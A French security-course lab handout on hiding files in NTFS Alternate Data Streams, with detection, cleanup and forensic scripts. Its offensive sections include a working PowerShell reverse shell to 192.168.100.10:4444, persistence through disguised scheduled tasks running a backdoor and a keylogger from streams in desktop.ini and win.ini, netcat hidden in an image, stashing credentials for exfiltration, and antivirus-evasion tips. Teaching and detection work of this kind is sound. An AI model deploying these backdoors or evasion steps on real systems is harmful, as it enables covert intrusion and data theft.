Lab 4.2: Alternate Data Streams - Dissimulation de Fichiers

Objectifs d'Apprentissage

À la fin de ce laboratoire, vous serez capable de:

• Comprendre le concept d'Alternate Data Streams dans NTFS
• Créer et manipuler des flux de données alternatifs
• Cacher des fichiers et du code malveillant en utilisant ADS
• Exécuter du code depuis un flux alternatif
• Détecter la présence d'ADS sur un système
• Nettoyer et supprimer les ADS malveillants

Durée Estimée

30 minutes

Prérequis

• VM Windows avec système de fichiers NTFS
• Ligne de commande CMD et PowerShell
• Compréhension des systèmes de fichiers (cours théorique)
• Lab 4.1 complété

Contexte Professionnel

Les Alternate Data Streams (ADS) sont une fonctionnalité légitime de NTFS, mais largement exploitée par les attaquants pour:

• Cacher des malwares
• Stocker des outils sans détection
• Bypasser certains antivirus
• Maintenir de la persistence discrète
• Exfiltrer des données de manière furtive

Utilisation légitime:

• Métadonnées de fichiers (zone identifier, auteur, etc.)
• Attributs étendus
• Thumbnails et previews
• Informations de téléchargement (Mark of the Web)

Utilisation malveillante:

• Hiding de malware
• Stockage de credentials volés
• Backdoors invisibles
• Exfiltration de données

---

AVERTISSEMENT ÉTHIQUE ET LÉGAL

Les techniques de dissimulation enseignées dans ce lab sont utilisées par les attaquants pour cacher des malwares et maintenir un accès furtif aux systèmes.

AUTORISÉ:

• Sur votre VM de test
• Pour tests de sécurité autorisés
• Pour investigation forensique avec permission

INTERDIT:

• Cacher des malwares sur systèmes réels
• Utiliser pour dissimulation d'activités malveillantes
• Exfiltration non autorisée de données

CONSÉQUENCES: Utilisation malveillante = Crime informatique grave (Code criminel art. 342.1, 430).

---

Partie 1: Comprendre les Alternate Data Streams

Étape 1.1: Concept de Base

Système de fichiers NTFS:

Chaque fichier NTFS a en réalité plusieurs "flux" (streams):

• Flux principal: Le contenu visible du fichier
• Flux alternatifs: Données additionnelles invisibles

Syntaxe:

fichier.txt                    → Flux principal
fichier.txt:stream1.txt        → Flux alternatif nommé "stream1.txt"
fichier.txt:hidden.exe         → Flux alternatif nommé "hidden.exe"

Caractéristiques:

• Invisibles dans l'Explorateur Windows
• Invisibles avec dir standard
• Pas de limite de taille
• Peuvent contenir n'importe quel type de données
• Peuvent être exécutés

Étape 1.2: Vérifier Votre Système de Fichiers

Vérifier que vous êtes bien en NTFS:

fsutil fsinfo volumeinfo C:

Cherchez: File System Name : NTFS

Si vous êtes en FAT32 ou exFAT: ADS ne fonctionne PAS (NTFS uniquement)

Questions:

1. Votre disque C: est-il en NTFS?
2. Avez-vous déjà entendu parler des ADS avant ce lab?

---

Partie 2: Création et Manipulation d'ADS

Étape 2.1: Créer Votre Premier ADS

Créez un fichier normal:

echo Ceci est le contenu visible > normal.txt

Vérifiez la taille:

dir normal.txt

Devrait afficher environ 30 bytes.

Ajoutez un flux alternatif:

echo Ceci est un message secret caché > normal.txt:hidden.txt

Vérifiez à nouveau la taille:

dir normal.txt

IMPORTANT: La taille n'a PAS changé! Toujours 30 bytes!

Ouvrez le fichier avec Notepad:

notepad normal.txt

Vous voyez: "Ceci est le contenu visible"

Le message caché est INVISIBLE!

Étape 2.2: Lire un ADS

Pour lire le contenu du stream caché:

more < normal.txt:hidden.txt

OU

notepad normal.txt:hidden.txt

Notepad s'ouvre avec le contenu caché!

PowerShell:

Get-Content normal.txt:hidden.txt

Questions: 3. Pouvez-vous voir le stream caché avec dir? 4. Le fichier "pèse" combien avec le stream caché? (Même taille!)

Étape 2.3: Lister les ADS d'un Fichier

Commande pour voir TOUS les streams:

dir /R normal.txt

Devrait afficher:

30 normal.txt
33 normal.txt:hidden.txt:$DATA

PowerShell (plus clair):

Get-Item normal.txt -Stream *

Résultat:

FileName: normal.txt

Stream                 Length
------                 ------
:$DATA                     30
hidden.txt                 33

Le stream caché est révélé!

Étape 2.4: Créer Plusieurs ADS

Vous pouvez avoir plusieurs streams sur un même fichier:

echo Secret 1 > normal.txt:data1.txt
echo Secret 2 > normal.txt:data2.txt
echo Secret 3 > normal.txt:data3.txt

Lister tous:

Get-Item normal.txt -Stream *

Un seul fichier, 4 flux de données (1 principal + 3 alternatifs)!

Questions: 5. Combien de streams pouvez-vous créer sur un fichier? 6. Y a-t-il une limite de taille pour un ADS?

---

Partie 3: Cacher des Fichiers Exécutables

Étape 3.1: Cacher un Exécutable Complet

Créez un script PowerShell malveillant:

Sauvegardez malware.ps1:

Write-Host "Malware exécuté!" -ForegroundColor Red
whoami
hostname
Get-Process | Select-Object -First 10

Cachez-le dans un fichier texte innocent:

type malware.ps1 > innocent.txt:malware.ps1

Vérifiez:

dir innocent.txt

Taille: Quelques bytes seulement (le texte visible)!

Mais le script complet est caché à l'intérieur!

Exécutez le script caché:

powershell -ExecutionPolicy Bypass -File innocent.txt:malware.ps1

Le script s'exécute depuis le stream caché!

INCROYABLE: Fichier semble innocent (texte), contient en fait un script complet!

Étape 3.2: Cacher un Binaire .exe

Téléchargez netcat (nc.exe):

Depuis: https://eternallybored.org/misc/netcat/

Cachez-le dans un fichier image:

type nc.exe > photo.jpg:nc.exe

Vérifiez la photo:

dir photo.jpg

Taille normale d'une photo (quelques KB).

Ouvrez photo.jpg: L'image s'affiche normalement!

Mais netcat est caché dedans!

Exécutez netcat depuis le stream:

wmic process call create "C:\Users\VotreNom\Desktop\photo.jpg:nc.exe"

Netcat s'exécute depuis la photo!

Questions: 7. Un antivirus scanne-t-il les ADS par défaut? 8. Comment un analyste forensique pourrait détecter cela?

Étape 3.3: Persistence via ADS

Technique avancée: Cacher backdoor + exécution automatique

Étape 1 - Cacher le payload:

# Script de reverse shell
$reverseShell = @"
`$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);
`$stream = `$client.GetStream();
[byte[]]`$bytes = 0..65535|%{0};
while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
    `$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
    `$sendback = (iex `$data 2>&1 | Out-String);
    `$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
    `$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
    `$stream.Write(`$sendbyte,0,`$sendbyte.Length);
    `$stream.Flush()
};
`$client.Close()
"@

# Cacher dans un fichier système innocent
$reverseShell | Out-File -FilePath "C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

Étape 2 - Créer tâche planifiée qui exécute depuis ADS:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger

Résultat:

• Backdoor complètement invisible
• Pas de fichier .ps1 visible
• Tâche planifiée semble normale
• S'exécute à chaque démarrage
• Très difficile à détecter!

---

Partie 4: Exfiltration de Données via ADS

Étape 4.1: Cacher des Données Volées

Scénario: Vous avez volé des credentials et voulez les exfiltrer discrètement.

Créez un fichier avec données sensibles:

echo admin:Password123! > credentials.txt
echo user1:SecretPass456 >> credentials.txt
echo database:DBPassword789 >> credentials.txt

Cachez dans un fichier système innocent:

type credentials.txt > C:\Windows\System32\notepad.exe:stolen_data.txt

Supprimez l'original:

del credentials.txt

Vérification:

• credentials.txt n'existe plus
• notepad.exe a la même taille qu'avant
• Données cachées dans notepad.exe!

Récupération plus tard:

more < C:\Windows\System32\notepad.exe:stolen_data.txt

Données récupérées!

Étape 4.2: Exfiltration via Copie

Pour exfiltrer:

Méthode 1 - Copie du fichier entier:

copy C:\Windows\System32\notepad.exe E:\notepad_backup.exe

Sur une autre machine, extrayez le stream:

more < notepad_backup.exe:stolen_data.txt

Les streams sont PRÉSERVÉS lors de la copie!

Méthode 2 - Extraction directe du stream:

more < notepad.exe:stolen_data.txt > data.txt

Questions: 9. Les ADS sont-ils préservés lors d'une copie? 10. Que se passe-t-il si vous copiez vers un système FAT32?

---

Partie 5: Détection d'ADS

Étape 5.1: Méthodes de Détection

Méthode 1 - DIR avec option /R:

dir /R C:\Users\%USERNAME%\Desktop

Affiche tous les streams de tous les fichiers.

Méthode 2 - PowerShell (Récursif):

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -ErrorAction SilentlyContinue | 
  ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
               Where-Object {$_.Stream -ne ':$DATA'}
    if ($streams) {
      [PSCustomObject]@{
        File = $_.FullName
        Stream = $streams.Stream -join ", "
        Size = $streams.Length
      }
    }
  } | Format-Table -AutoSize

Méthode 3 - Outil Streams (Sysinternals):

Télécharger: https://learn.microsoft.com/en-us/sysinternals/downloads/streams

streams -s C:\Users\%USERNAME%

Affiche TOUS les fichiers avec ADS!

Étape 5.2: Script de Détection Automatisé

Créez detect_ads.ps1:

param(
    [string]$Path = "C:\",
    [switch]$SuspiciousOnly
)

Write-Host "=== DETECTION ALTERNATE DATA STREAMS ===" -ForegroundColor Cyan
Write-Host "Scanning: $Path"
Write-Host ""

$suspiciousExtensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd', '.js')
$results = @()

Get-ChildItem -Path $Path -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    try {
        $file = $_
        $streams = Get-Item $file.FullName -Stream * -ErrorAction Stop | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        foreach ($stream in $streams) {
            $isSuspicious = $false
            $reason = ""
            
            # Vérifier si extension suspecte
            $streamExt = [System.IO.Path]::GetExtension($stream.Stream)
            if ($streamExt -in $suspiciousExtensions) {
                $isSuspicious = $true
                $reason = "Extension exécutable"
            }
            
            # Vérifier si stream volumineux
            if ($stream.Length -gt 10KB) {
                $isSuspicious = $true
                $reason += " Taille importante ($($stream.Length) bytes)"
            }
            
            # Si mode SuspiciousOnly, filtrer
            if (-not $SuspiciousOnly -or $isSuspicious) {
                $results += [PSCustomObject]@{
                    File = $file.FullName
                    Stream = $stream.Stream
                    Size = $stream.Length
                    Suspicious = $isSuspicious
                    Reason = $reason
                }
            }
        }
    } catch {}
}

if ($results.Count -gt 0) {
    Write-Host "ADS DETECTES:" -ForegroundColor Yellow
    $results | Format-Table -AutoSize
    
    Write-Host "`nTotal: $($results.Count) streams trouvés" -ForegroundColor Yellow
    $suspicious = ($results | Where-Object {$_.Suspicious}).Count
    if ($suspicious -gt 0) {
        Write-Host "ATTENTION: $suspicious streams suspects!" -ForegroundColor Red
    }
} else {
    Write-Host "Aucun ADS détecté." -ForegroundColor Green
}

Exécution:

# Tout scanner
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\Users\$env:USERNAME

# Seulement les suspects
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\ -SuspiciousOnly

Étape 5.3: Zone Identifier (Utilisation Légitime)

Windows utilise ADS pour marquer les fichiers téléchargés:

Téléchargez un fichier depuis Internet, puis:

Get-Item fichier_telecharge.exe -Stream *

Vous verrez:

Stream: Zone.Identifier

Lisez-le:

more < fichier_telecharge.exe:Zone.Identifier

Contenu:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/file.exe

ZoneId=3: Téléchargé depuis Internet (non fiable)

C'est pourquoi Windows affiche le warning "Ce fichier provient d'Internet"!

Questions: 11. Quels fichiers sur votre système ont un stream Zone.Identifier? 12. Comment supprimer ce stream? (pour bypasser le warning)

---

Partie 6: Techniques Offensives Avancées

Étape 6.1: Exécution de Code depuis ADS

Créez un batch malveillant:

@echo off
whoami > C:\Users\Public\whoami.txt
ipconfig > C:\Users\Public\ipconfig.txt
net user > C:\Users\Public\users.txt

Cachez-le:

type malware.bat > C:\Users\Public\readme.txt:payload.bat

Exécutez depuis le stream:

Méthode 1 - WMIC:

wmic process call create "C:\Users\Public\readme.txt:payload.bat"

Méthode 2 - PowerShell:

Start-Process -FilePath "C:\Users\Public\readme.txt:payload.bat"

Le code s'exécute! Vérifiez:

type C:\Users\Public\whoami.txt

Votre nom d'utilisateur apparaît!

Le malware était complètement invisible jusqu'à l'exécution!

Étape 6.2: Cacher un Keylogger Complet

Utilisez le keylogger du Lab 3.3:

Cachez-le dans un fichier système:

type keylogger.ps1 > C:\Windows\win.ini:logger.ps1

win.ini: Fichier légitime Windows, toujours présent, jamais suspect!

Créez tâche planifiée pour l'exécuter:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\win.ini:logger.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

Résultat:

• Keylogger complètement invisible
• Pas de fichier .ps1 visible
• Détection TRÈS difficile
• Fonctionne à chaque login

Étape 6.3: Bypasser Antivirus avec ADS

Certains antivirus ne scannent PAS les ADS par défaut!

Test avec EICAR:

Créez fichier EICAR normal:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > eicar.com

Windows Defender devrait IMMÉDIATEMENT le détecter et supprimer!

Maintenant, cachez-le dans un ADS:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > innocent.txt:eicar.com

Résultat: Certains antivirus ne détectent PAS!

NOTE: Windows Defender moderne détecte les ADS, mais pas tous les antivirus.

Questions: 13. Defender a-t-il détecté EICAR dans le stream? 14. Pourquoi les ADS sont-ils plus difficiles à scanner?

---

Partie 7: Nettoyage et Suppression d'ADS

Étape 7.1: Supprimer un Stream Spécifique

PowerShell:

Remove-Item -Path "fichier.txt" -Stream "nom_du_stream"

Exemple:

Remove-Item -Path "normal.txt" -Stream "hidden.txt"

Vérifiez:

Get-Item normal.txt -Stream *

Le stream "hidden.txt" devrait avoir disparu!

Étape 7.2: Supprimer TOUS les Streams d'un Fichier

Méthode 1 - Copier vers FAT32:

copy fichier.txt E:\USB_FAT32\fichier.txt

FAT32 ne supporte PAS les ADS: Tous supprimés!

Méthode 2 - Outil streams.exe:

streams -d fichier.txt

Option -d: Delete tous les streams

Méthode 3 - PowerShell récursif:

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -File | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
    foreach ($stream in $streams) {
        Write-Host "Suppression: $($_.FullName):$($stream.Stream)"
        Remove-Item -Path $_.FullName -Stream $stream.Stream
    }
}

ATTENTION: Ceci supprime TOUS les ADS, même légitimes (Zone.Identifier)!

Étape 7.3: Nettoyage de Sécurité Complet

Script de nettoyage automatisé:

Write-Host "=== NETTOYAGE ADS MALVEILLANTS ===" -ForegroundColor Cyan

$cleaned = 0
$extensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd')

Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    try {
        $file = $_
        $streams = Get-Item $file.FullName -Stream * -ErrorAction Stop | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        foreach ($stream in $streams) {
            $streamExt = [System.IO.Path]::GetExtension($stream.Stream)
            
            # Supprimer si extension exécutable
            if ($streamExt -in $extensions) {
                Write-Host "SUPPRESSION: $($file.FullName):$($stream.Stream)" -ForegroundColor Red
                Remove-Item -Path $file.FullName -Stream $stream.Stream -ErrorAction Stop
                $cleaned++
            }
        }
    } catch {}
}

Write-Host "`nTotal: $cleaned streams malveillants supprimés" -ForegroundColor Green

Questions: 15. Combien de fichiers avec ADS avez-vous trouvés sur votre système? 16. Comment différencier ADS légitime vs malveillant?

---

Partie 8: Forensics et Investigation

Étape 8.1: Analyser un Système Compromise

Scénario: Vous suspectez qu'un attaquant a utilisé ADS.

Investigation complète:

Write-Host "=== INVESTIGATION FORENSIQUE ADS ===" -ForegroundColor Cyan

# Chercher dans dossiers système
$systemFolders = @(
    "C:\Windows\System32",
    "C:\Windows\Temp",
    "C:\Users\*\AppData\Local\Temp"
)

foreach ($folder in $systemFolders) {
    Write-Host "`nScanning: $folder" -ForegroundColor Yellow
    
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        if ($streams) {
            Write-Host "  File: $($_.FullName)"
            foreach ($stream in $streams) {
                Write-Host "    Stream: $($stream.Stream) ($($stream.Length) bytes)"
                
                # Lire les premiers bytes pour analyse
                $content = Get-Content $_.FullName:$($stream.Stream) -TotalCount 5 -ErrorAction SilentlyContinue
                if ($content) {
                    Write-Host "    Preview: $($content -join ' ')"
                }
            }
        }
    }
}

Étape 8.2: Timeline Analysis

Créer timeline des ADS:

Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
    Where-Object {$_.Stream -ne ':$DATA'} | 
    Select-Object @{N='File';E={$_.FileName}}, 
                  Stream, 
                  @{N='Size';E={$_.Length}},
                  @{N='Created';E={(Get-Item $_.FileName).CreationTime}},
                  @{N='Modified';E={(Get-Item $_.FileName).LastWriteTime}}
} | Sort-Object Modified -Descending | Format-Table -AutoSize

Permet de voir:

• Quand les fichiers ont été modifiés
• Corrélation avec événements suspects
• Timeline de l'attaque

Étape 8.3: Extraction pour Analyse

Extraire tous les ADS dans un dossier pour analyse:

$outputDir = "C:\Forensics\ADS_Extract"
New-Item -ItemType Directory -Force -Path $outputDir

Get-ChildItem C:\Suspect\Path -Recurse -File | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
    foreach ($stream in $streams) {
        $outputFile = Join-Path $outputDir "$($_.Name)_$($stream.Stream)"
        Get-Content $_.FullName:$($stream.Stream) -Raw | Out-File $outputFile
        Write-Host "Extracted: $outputFile"
    }
}

Ensuite: Analyse avec antivirus, décompilation, analyse statique

Questions: 17. Quels outils utiliseriez-vous pour analyser un ADS suspect? 18. Comment reconstruire la timeline d'une attaque utilisant ADS?

---

Livrables

À remettre:

1. Rapport technique (Word/PDF, 3-4 pages):

   • Réponses aux 18 questions
   • Explication du concept d'ADS
   • Démonstration de 3 techniques de hiding
   • Résultats du script de détection

2. Captures d'écran (minimum 6):

   • Création d'ADS avec fichier caché
   • dir vs dir /R (différence visible)
   • Exécution de code depuis ADS
   • Détection avec PowerShell
   • Liste de streams (Get-Item -Stream *)
   • Suppression d'ADS

3. Scripts développés:

   • Script de détection amélioré
   • Script de nettoyage automatisé
   • Script d'extraction forensique

4. Analyse de cas (1-2 pages):

   • Scénario d'attaque utilisant ADS
   • Méthodologie de détection
   • Plan de remédiation

---

Critères d'Évaluation

Critère	Points
Compréhension du concept d'ADS	20%
Création et manipulation d'ADS	25%
Détection d'ADS existants	20%
Script de détection fonctionnel	20%
Analyse forensique et remédiation	15%

---

Commandes de Référence Rapide

Création

echo contenu > fichier.txt:stream.txt
type source.exe > fichier.txt:hidden.exe

Lecture

more < fichier.txt:stream.txt
notepad fichier.txt:stream.txt
type fichier.txt:stream.txt

Détection

dir /R
streams -s C:\

Get-Item fichier.txt -Stream *
Get-ChildItem -Recurse | Get-Item -Stream * | Where Stream -ne ':$DATA'

Exécution

wmic process call create "fichier.txt:payload.bat"
start fichier.txt:payload.exe
powershell -File fichier.txt:script.ps1

Suppression

Remove-Item fichier.txt -Stream stream_name

streams -d fichier.txt

---

Dépannage

Problème: "Accès refusé" lors de création d'ADS

Solution: Vérifiez que vous avez les droits d'écriture sur le fichier principal. Si vous ne pouvez pas modifier le fichier, vous ne pouvez pas ajouter de stream.

Problème: ADS ne fonctionne pas

Solution: Vérifiez que vous êtes sur NTFS. FAT32/exFAT ne supportent pas les ADS.

Problème: Stream copié vers USB disparaît

Solution: Votre USB est probablement en FAT32. Les ADS sont perdus lors de la copie vers des systèmes de fichiers non-NTFS.

---

Aller Plus Loin (Optionnel)

Challenge 1: ADS Forensics

Analysez un fichier suspect avec ADS:

• Extraire tous les streams
• Analyser le contenu (strings, hex dump)
• Identifier le but malveillant
• Documenter les indicateurs de compromission (IOCs)

Challenge 2: Protection Proactive

Développez un service de monitoring qui:

• Surveille la création de nouveaux ADS
• Alerte sur extensions exécutables
• Log toutes les opérations ADS
• Bloque automatiquement les ADS suspects

Challenge 3: Recherche

Étudiez des malwares réels utilisant ADS:

• Trojan.Sriknot (2007)
• Streaming data exfiltration techniques
• APT groups using ADS for persistence

---

Ressources Additionnelles

• Microsoft: File Streams
• Sysinternals Streams Tool
• NTFS Alternate Data Streams
• Detecting ADS

---

Conclusion

Ce lab vous a enseigné:

• Le concept et le fonctionnement des Alternate Data Streams
• Techniques de dissimulation de fichiers et code malveillant
• Exécution de code depuis des streams cachés
• Méthodes de détection forensique
• Nettoyage et remédiation

Leçons clés:

1. ADS permettent de cacher des fichiers complets dans d'autres fichiers
2. Fichiers cachés dans ADS sont invisibles avec outils standards
3. Code peut être exécuté directement depuis un ADS
4. Détection nécessite outils spécialisés ou commandes spécifiques
5. ADS sont une technique de persistence et hiding très efficace

Dans un contexte réel:

• Utilisé par malwares sophistiqués pour éviter détection
• Technique de persistence discrète
• Exfiltration de données furtive
• Nécessite forensics avancé pour détecter

Prochaine étape: Lab 4.3 où vous apprendrez à récupérer des fichiers "supprimés définitivement" en utilisant les Shadow Copies de Windows!

---

Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 4